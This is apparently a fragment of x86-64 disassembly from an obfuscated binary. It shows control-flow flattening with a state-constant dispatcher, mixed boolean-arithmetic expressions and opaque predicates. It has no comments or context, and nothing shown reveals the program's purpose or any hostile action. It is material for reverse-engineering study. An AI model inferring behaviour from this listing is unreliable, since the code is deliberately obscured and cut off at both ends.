xor edi, 0xfacc1df6
or edi, edx
mov eax, edi
not eax
and eax, 0x10791fbf
and edi, 0xef86e040
or edi, eax
mov eax, edi
xor eax, 0x6700c000
mov edx, ebp
not edx
xor edi, 0x10791fbf
mov ecx, edx
and ecx, 0x989e37ed
and ebp, 0x6761c812
or ebp, ecx
or edx, edi
and edi, 0x989e37ed
and eax, 0x6761c812
or eax, edi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xfcf02571
and edx, 0x30fda8e
or edx, eax
mov eax, edx
not eax
and eax, 0x3b7508f5
and edx, 0xc48af70a
or edx, eax
mov eax, edx
xor eax, 0x878922a
xor edx, 0xc7852d84
mov ecx, edx
and ecx, 0xb48649d5
and eax, 0x4b79b62a
or eax, ecx
xor eax, 0xb48649d5
xor edx, eax
test edx, eax
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, edx
and al, bl
and cl, r9b
or cl, al
mov eax, ecx
xor al, bl
and al, cl
xor dl, bl
mov ecx, edx
xor cl, 1
xor al, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x9b0bf50f
mov ecx, 0xc9689d27
cmovne ebp, ecx
test al, 1
mov ecx, 0x9b0bf50f
cmovne ecx, ebp
jmp 0x1400b67a2
cmp ecx, 0xe902b874
jg 0x1400b2104
cmp ecx, 0xe5fc6bc6
jg 0x1400b3b09
cmp ecx, 0xe20fb7dc
je 0x1400b8352
cmp ecx, 0xe351e585
jne 0x1400adc00
mov ecx, 0x152a92f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x196fc98e
jle 0x1400b22e5
cmp ecx, 0x1cf944aa
jg 0x1400b3b37
cmp ecx, 0x196fc98f
je 0x1400b8368
cmp ecx, 0x1a774f88
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xc0000202
and edx, 0xac00488
or edx, ecx
mov ebx, edx
xor ebx, 0x2c00080
xor edx, 0xa1241b67
or ebp, 0xcac0068a
mov ecx, ebp
not ecx
and edx, 0xa9241f6f
and ebx, 0x42c00080
or ebx, edx
and ebp, 0xa9241f6f
and ecx, 0x141be010
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x353ff975
and ecx, 0xcac0068a
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x64be3046
and ecx, 0x9b41cfb9
or ecx, edx
xor ecx, 0x9b41cfb8
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x612262a7
and ecx, 0x9edd9d58
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9edd9d58
and ecx, 0x612262a7
or ecx, edx
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov r9d, ecx
or cl, bl
and bl, dl
and r9b, r8b
or r9b, bl
xor dl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, r9d
xor dl, 1
mov eax, r9d
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor dl, cl
xor cl, 1
xor al, 1
or al, bl
xor al, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3d03aa45
mov ebp, 0x564797c8
cmovne edx, ebp
test cl, 1
mov ecx, 0x3d03aa45
jmp 0x1400b768c
cmp ecx, 0x58851e68
jg 0x1400b3b65
cmp ecx, 0x57d178cf
je 0x1400b8392
cmp ecx, 0x586c7e1d
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x2400006
mov ebp, ecx
and ebp, 0x12030b1
or ebp, edx
xor ebp, 0x12030b1
and ecx, 0xfc9fcf48
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xfc9fcf48
and ecx, 0x36030b7
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0x6969544c
mov edx, ebx
not edx
or ecx, 0x94842082
and ecx, 0xd5ed60ca
and ebp, 0x28001404
or ebp, ecx
and ebx, 0xd5ed60ca
and edx, 0x2128b31
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x9696abb3
and edx, 0x6969544c
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe18eb1f8
and edx, 0x1e714e07
or edx, ebp
xor edx, 0xe18eb1f8
xor ecx, edx
test ecx, edx
sete r9b
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, r8b
xor r8b, cl
xor r8b, 1
and al, r9b
or al, dl
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x9f885ea9
mov edx, 0x2b26be74
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0x9f885ea9
cmovne ecx, edx
jmp 0x1400b9107
cmp ecx, 0x9b0bf50e
jg 0x1400b3b93
cmp ecx, 0x97d09cca
je 0x1400b845e
cmp ecx, 0x99071997
jne 0x1400adc00
mov ecx, 0x8831608b
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xd6d6a002
jg 0x1400b3ca9
cmp ecx, 0xd48b56df
je 0x1400b8474
cmp ecx, 0xd58bbeb6
jne 0x1400adc00
mov ecx, 0x8473fc34
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xf275b25
je 0x1400b58d9
cmp ecx, 0x10182a4a
je 0x1400b5adc
cmp ecx, 0x1089f1a0
jne 0x1400adc00
mov rax, qword [rsp + 0x30]
mov ecx, 0x49bc2ad6
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x76d5862c
jg 0x1400b3dc6
cmp ecx, 0x74cf1e8c
je 0x1400b848a
cmp ecx, 0x75df3b42
jne 0x1400adc00
mov ecx, 0x6ed46666
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xbaeae0e8
jg 0x1400b3df4
cmp ecx, 0xb52463de
je 0x1400b84ac
cmp ecx, 0xb7acf8b4
jne 0x1400adc00
mov ecx, 0x2f0b4b19
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xf3f669f2
jg 0x1400b3f2c
cmp ecx, 0xf339a7d1
je 0x1400adb14
cmp ecx, 0xf3b4cc73
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x143c
mov ecx, ebp
and ecx, 0x20748a81
or ecx, edx
xor ecx, 0x20748a81
mov edx, ebp
xor edx, 0x20749ebd
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xdf8b6143
and edx, 0x20749ebc
or edx, ecx
and ebx, 0x832ce3ac
and ebp, 0x7cd31c53
or ebp, ebx
mov ecx, ebp
xor ecx, 0x44810051
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x3a5e7da6
and edx, 0xc5a18259
or edx, ebx
xor ebp, 0x20c61a4
and ebp, 0x3a5e7da6
and ecx, 0xc5a18259
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
not cl
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, r10d
or dl, cl
xor cl, 1
or cl, r11b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
and r8b, r11b
and r10b, r9b
or r10b, r8b
mov edx, r11d
xor dl, r9b
or r11b, r9b
xor r11b, 1
or r11b, dl
xor r11b, 1
mov edx, r10d
and dl, r11b
xor r11b, r10b
or r11b, dl
mov edx, r11d
xor dl, 1
mov eax, r11d
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, eax
and bl, cl
or dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
xor cl, r11b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x5ab5cf4c
mov ebp, 0x73593862
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x5ab5cf4c
jmp 0x1400baef8
cmp ecx, 0x2b26be73
jg 0x1400b40aa
cmp ecx, 0x29c0bfb5
je 0x1400b84c2
cmp ecx, 0x2b1be23c
jne 0x1400adc00
mov ecx, 0xc277a3b8
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x3362b41
jg 0x1400b41d8
cmp ecx, 0x204f70b
je 0x1400b85ae
cmp ecx, 0x2ef0385
jne 0x1400adc00
mov ecx, 0xd195a20a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x3e63ad77
jg 0x1400b42ed
cmp ecx, 0x3dfbe17d
je 0x1400b85c9
cmp ecx, 0x3e4ba7c1
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x240e4811
mov ebp, ecx
and ebp, 0xc0c18044
or ebp, edx
xor ebp, 0xc0c18044
and ecx, 0x1b3037aa
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1b3037aa
and ecx, 0xe4cfc855
or ecx, edx
mov esi, ecx
xor esi, 1
and esi, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov ebp, esi
not ebp
mov ebx, ecx
not ebx
mov edi, ebp
and edi, 0x8b32ba1b
and esi, 0x74cd45e4
or esi, edi
or ebp, ebx
and ebx, 0x8b32ba1b
and ecx, 0x74cd45e4
or ecx, ebx
xor ecx, esi
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x392ed694
and edx, ebp
not ebp
and ebp, 0xabae6ae2
and ecx, 0x5451951d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x9010
xor ecx, 0x292e4280
or ecx, 0xc6d1296b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xfc3b24ed
and ebp, 0x104d210
or ebp, edi
or ecx, ebx
and ebx, 0xfc3b24ed
and edx, 0x3c4db12
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc6d1296b
and ecx, 0x392ed694
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xaa5ec9da
and ecx, 0x55a13625
or ecx, ebp
xor ecx, 0x55a13625
or ecx, edx
cmp ecx, 0xffffffff
setne bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, bl
xor bl, al
xor dl, 1
or dl, al
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x196fc98f
mov ebp, 0x8ed728de
cmovne ecx, ebp
test dl, dl
mov edx, 0x196fc98f
cmovne ecx, edx
test al, al
jmp 0x1400bb784
cmp ecx, 0x888a0f2f
jg 0x1400b442f
cmp ecx, 0x87814d2f
je 0x1400b8752
cmp ecx, 0x8831608b
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x550c41b5
and ecx, 0xaaf3be4a
or ecx, edx
mov edx, ecx
xor edx, 0x8873a800
mov ebp, ecx
xor ebp, 0x550c41b5
mov ebx, ecx
xor ebx, 0xd87fa904
and ebx, ebp
and edx, 0x8d73e8b1
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x5213730d
and edx, 0xadec8cf2
or edx, ebx
xor edx, 0xdf609bbd
and ebp, 1
xor ecx, 0x550c41b4
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x566ccc12
and ecx, 0xa99333ed
or ecx, ebp
xor ecx, 0xa99333ed
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, cl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, ecx
xor bl, r8b
and bl, cl
mov r10d, edx
xor r10b, 1
mov ecx, edx
or cl, r10b
xor dl, cl
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
xor bl, 1
mov edx, ebx
or dl, cl
xor dl, 1
xor bl, cl
xor bl, 1
and bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
xor cl, r8b
xor r9b, 1
or al, r8b
xor al, 1
or al, r9b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov edx, ebx
xor dl, 1
and dl, bl
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
xor dl, al
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xeff3dd10
mov ecx, 0x99071997
cmovne ebp, ecx
test al, 1
mov ecx, 0xeff3dd10
jmp 0x1400b1c41
cmp ecx, 0xc4c31280
jg 0x1400b445d
cmp ecx, 0xc277a3b8
je 0x1400b8925
cmp ecx, 0xc3e0ffb5
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
and edx, 0xe8247f75
and ebp, 0x17db808a
or ebp, edx
mov ebx, ebp
xor ebx, 0xe8247f75
mov ecx, ebp
xor ecx, 0x14c20082
and ecx, 0x74e24fb3
xor ebp, 0xb681bc50
and ebp, ebx
and ebx, 0x8b1db04c
or ebx, ecx
mov edx, ebx
xor edx, 0x8b1db04c
mov edi, ebx
xor edi, 0x2a478c96
and edi, edx
mov ecx, edi
not ecx
mov esi, ebp
not esi
mov eax, ecx
and eax, 0xc54ca3c0
and edi, 0x3ab35c3f
or edi, eax
or ecx, esi
and esi, 0xc54ca3c0
and ebp, 0x3ab35c3f
or ebp, esi
xor ebp, edi
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xe96200a2
and ecx, 0x169dff5d
or ecx, eax
mov ebp, ecx
xor ebp, 0x8100859
xor ebx, 0x64a00592
and ebx, 0x6ebd15de
mov eax, edx
and eax, 0x9142ea21
or eax, ebx
xor eax, 0x6ebd15df
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xc96c47b1
and edx, 0x3693b84e
or edx, eax
mov eax, edx
xor eax, 0x1090084e
xor ecx, 0xb7c7c386
xor edx, 0xc96c47b1
mov ebx, ecx
and ebx, 0xe72bf5a0
and ebp, 0x18d40a5f
or ebp, ebx
or ecx, edx
and edx, 0xe72bf5a0
and eax, 0x18d40a5f
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xaaed4a13
and eax, 0x5512b5ec
or eax, ebx
or ecx, ebp
and ebp, 0xaaed4a13
and edx, 0x5512b5ec
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x31487a67
and eax, 0xceb78598
or eax, ecx
mov ecx, eax
xor ecx, 0x21007803
xor eax, 0x4a200098
and eax, 0x5a6802fc
and ecx, 0xa597fd03
or ecx, eax
xor ecx, 0xa597fd03
setne r9b
sete r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg sil
mov ecx, esi
xor cl, r10b
and cl, sil
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
or r10b, r11b
or r11b, al
xor al, 1
xor r11b, 1
or al, r9b
xor al, 1
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
xor sil, r9b
xor sil, 1
mov ecx, r10d
xor cl, sil
or sil, r10b
xor sil, 1
or sil, cl
mov ecx, esi
xor cl, 1
mov ebx, eax
xor bl, 1
and bl, al
mov r8d, ecx
and r8b, sil
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
mov edx, r8d
xor dl, 1
xor r8b, cl
or dl, sil
xor dl, 1
or dl, r8b
xor dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x229f8973
mov ebp, 0x3ac2fb61
cmovne eax, ebp
test cl, 1
mov ecx, 0x229f8973
jmp 0x1400bb907
cmp ecx, 0x678a8abf
jg 0x1400b448b
cmp ecx, 0x637a602f
je 0x1400b8a66
cmp ecx, 0x63fbdea5
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xc0893a33
and eax, 0x3f76c5cc
or eax, edx
mov edx, eax
not edx
and edx, 0x3f76c5cd
and eax, 0xc0893a32
or eax, edx
mov edx, eax
not edx
and edx, 0x174ea1c3
and eax, 0xe8b15e3c
or eax, edx
xor eax, 0xe8b15e3c
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov r8d, ebx
xor r8b, 1
and cl, dl
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, r8d
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, r8b
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, al
and dl, r9b
or dl, cl
xor r9b, bl
or al, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xe972bf51
mov ecx, 0xb463c60d
cmovne ebp, ecx
test al, 1
mov ecx, 0xe972bf51
jmp 0x1400b1c41
cmp ecx, 0xa5df476c
jg 0x1400b44b9
cmp ecx, 0xa33a6e9c
je 0x1400b8a7c
cmp ecx, 0xa427a761
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebp, eax
or ebp, 0x1bd7017
mov edx, ebp
not edx
or ecx, 0xbc420f20
and ecx, 0xbd7b2f36
and eax, 0x845001
or eax, ecx
and ebp, 0xbd7b2f36
and edx, 0x420080c8
or edx, ebp
xor edx, eax
mov eax, edx
not eax
and eax, 0x57e0596
and edx, 0xfa81fa69
or edx, eax
mov ebp, edx
xor ebp, 0x810c8238
xor edx, 0x4c37581
mov eax, edx
and eax, 0x7e702d47
and ebp, 0x818fd2b8
or ebp, eax
mov eax, ebp
xor eax, 0x818fd2b8
xor ebp, 0x7e702d47
mov ebx, ebp
or ebx, 0x6cfceff7
mov edi, ebx
not edi
or edx, 0x93031008
mov ecx, edx
not ecx
and ebx, 0xa4da0f87
and edi, 0x13011008
or edi, ebx
and edx, 0xa4da0f87
and ecx, 0x4824e070
or ecx, edx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x6cfceff6
and ecx, 0x93031009
or ecx, edx
and ebp, 0xb8cae003
mov edx, eax
and edx, 0x47351ffc
or edx, ebp
xor edx, 0xb8cae002
and eax, 1
or eax, edx
mov edx, eax
not edx
and edx, 0x368fc65
and eax, 0xfc97039a
or eax, edx
mov ebp, eax
xor ebp, 0x9c970202
mov edx, ecx
not edx
xor eax, 0x368fc65
mov ebx, edx
and ebx, 0x616825dd
and ecx, 0x9e97da22
or ecx, ebx
or edx, eax
and eax, 0x616825dd
and ebp, 0x9e97da22
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf1d173
and eax, edx
and edx, 0xff0e2e8c
or edx, ecx
xor edx, 0xff0e2e8c
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
setne r8b
cmp dword [0x14024b72c], 9
setg cl
mov ebx, ecx
xor bl, r8b
mov eax, ebx
and al, cl
and cl, r8b
mov r9d, ecx
and r9b, bl
xor cl, bl
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
or cl, r9b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
and al, cl
or al, dl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xe06b6d05
mov eax, 0x80eb21b3
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xe06b6d05
jmp 0x1400bc0e6
cmp ecx, 0xe0880bd5
jg 0x1400b45f5
cmp ecx, 0xe06b6d05
je 0x1400b8a92
cmp ecx, 0xe07fa25a
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x6da1d9ba
and edx, ebp
not ebp
and ebp, 0x6da1d9ba
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x925e2645
and edx, 0x6da1d9ba
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xbdfff73d
and edx, 0x420008c2
or edx, ebp
mov ebp, edx
xor ebp, 0x42000001
xor edx, 0xbdfff73c
mov edi, ecx
and edi, 0x20a62cf2
and ebx, 0xdf59d30c
or ebx, edi
or ecx, edx
and edx, 0x20a62cf2
and ebp, 0xdf59d30d
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc0425239
and edx, ecx
and ecx, 0x3fbdadc6
or ecx, ebp
xor ecx, 0x3fbdadc6
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, r9d
xor al, cl
and al, r9b
mov edx, eax
xor dl, 1
or al, dl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, r8b
xor al, 1
mov edx, r9d
xor dl, r8b
and dl, r9b
xor cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x152a92f
mov ebp, 0xc1e3473b
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x152a92f
jmp 0x1400bc0e6
cmp ecx, 0x224679d9
jg 0x1400b4623
cmp ecx, 0x20e6eb2f
je 0x1400b8c4e
cmp ecx, 0x2234f45a
jne 0x1400adc00
mov r8, qword [rsp + 0x38]
mov ecx, dword [0x14024b730]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x6f97bada
mov ebx, esi
and ebx, 0x90684525
or ebx, ecx
mov ecx, ebx
xor ecx, 0x501
xor ebx, 0x408c0
mov edx, edi
or edx, 0x147f0de5
or ebx, 0x69809212
and ebx, 0x79ec9af6
and ecx, 0x4130501
or ecx, ebx
mov ebp, edx
not ebp
and edx, 0x79ec9af6
and ebp, 0x82006008
or ebp, edx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xeb80f21b
and ebp, 0x147f0de4
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x72bae718
and ebp, 0x8d4518e7
or ebp, ecx
mov ecx, ebp
xor ecx, 0x884410e3
xor ebp, 0x72bae718
mov edx, ebp
and edx, 0x75a9680c
and ecx, 0x8a5697f3
or ecx, edx
or ebp, esi
and esi, 0x75a9680c
and edi, 0x8a5697f3
or edi, esi
xor edi, ecx
not ebp
or ebp, edi
cmp ebp, 0xffffffff
sete dl
cmp dword [0x14024b72c], 9
setg bl
mov ecx, ebx
xor cl, dl
xor cl, 1
mov r9d, ecx
or r9b, bl
and cl, dl
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
mov edx, eax
xor dl, 1
xor al, bl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
and al, r9b
mov ebx, r9d
and bl, cl
xor cl, r9b
xor r9b, 1
xor dl, 1
and dl, r9b
or dl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xa06b4275
mov ebp, 0x9e0b67ba
cmovne eax, ebp
test cl, 1
mov ecx, 0xa06b4275
cmovne ecx, eax
mov qword [0x14024b058], r8
jmp 0x1400bb90a
cmp ecx, 0x564797c7
jg 0x1400b47ec
cmp ecx, 0x53e9952a
je 0x1400b8d7c
cmp ecx, 0x55407610
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov r10d, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov ebp, eax
xor ebp, 0x1cb291b6
and ebp, eax
or eax, 0xe34d6e49
mov ebx, ebp
not ebx
mov edi, eax
and edi, 0xbb3cc685
mov edx, esi
and edx, 0x4821132
or edx, edi
or eax, ebx
and ebx, 0xbb3cc685
and ebp, 0x44c3397a
or ebp, ebx
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
not edx
and edx, 0x4aee1044
and eax, 0xb511efbb
or eax, edx
xor eax, 0x565c81f3
mov edx, eax
and edx, esi
xor eax, esi
or eax, edx
mov edx, eax
not edx
and edx, 0xb9e16f71
and eax, 0x461e908e
or eax, edx
xor eax, 0x461e908e
setne r8b
sete r9b
cmp r10d, 9
setg cl
cmp r10d, 0xa
setl r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov r10d, ebx
xor r10b, 1
mov eax, ebx
and al, r10b
mov edx, eax
xor dl, 1
xor al, bl
or dl, r10b
xor dl, 1
or dl, al
xor dl, r11b
and r8b, r11b
or r11b, r9b
xor r11b, 1
and cl, r9b
or cl, r8b
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
xor al, dl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2bcd5a99
mov ebp, 0xe20aed7b
cmovne edx, ebp
test cl, 1
mov ecx, 0x2bcd5a99
jmp 0x1400b768c
cmp ecx, 0x962130b0
jg 0x1400b4974
cmp ecx, 0x92535015
je 0x1400b8ed1
cmp ecx, 0x94824298
jne 0x1400adc00
mov ecx, 0xde7fcdb5
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xd195a209
jg 0x1400b49a2
cmp ecx, 0xd137c938
je 0x1400b8f9a
cmp ecx, 0xd146d7af
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x5ac43e24
and eax, 0xa53bc1db
or eax, edx
xor eax, 0xa53bc1db
and ebp, 0x22f1beb1
and ecx, 0xdd0e414e
or ecx, ebp
xor ecx, 0xdd0e414e
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x14024b72c], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
xor al, bl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc02a4976
mov ebp, 0x6bec7e3a
cmovne eax, ebp
test cl, cl
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0xc02a4976
jmp 0x1400b7388
cmp ecx, 0x72a15d86
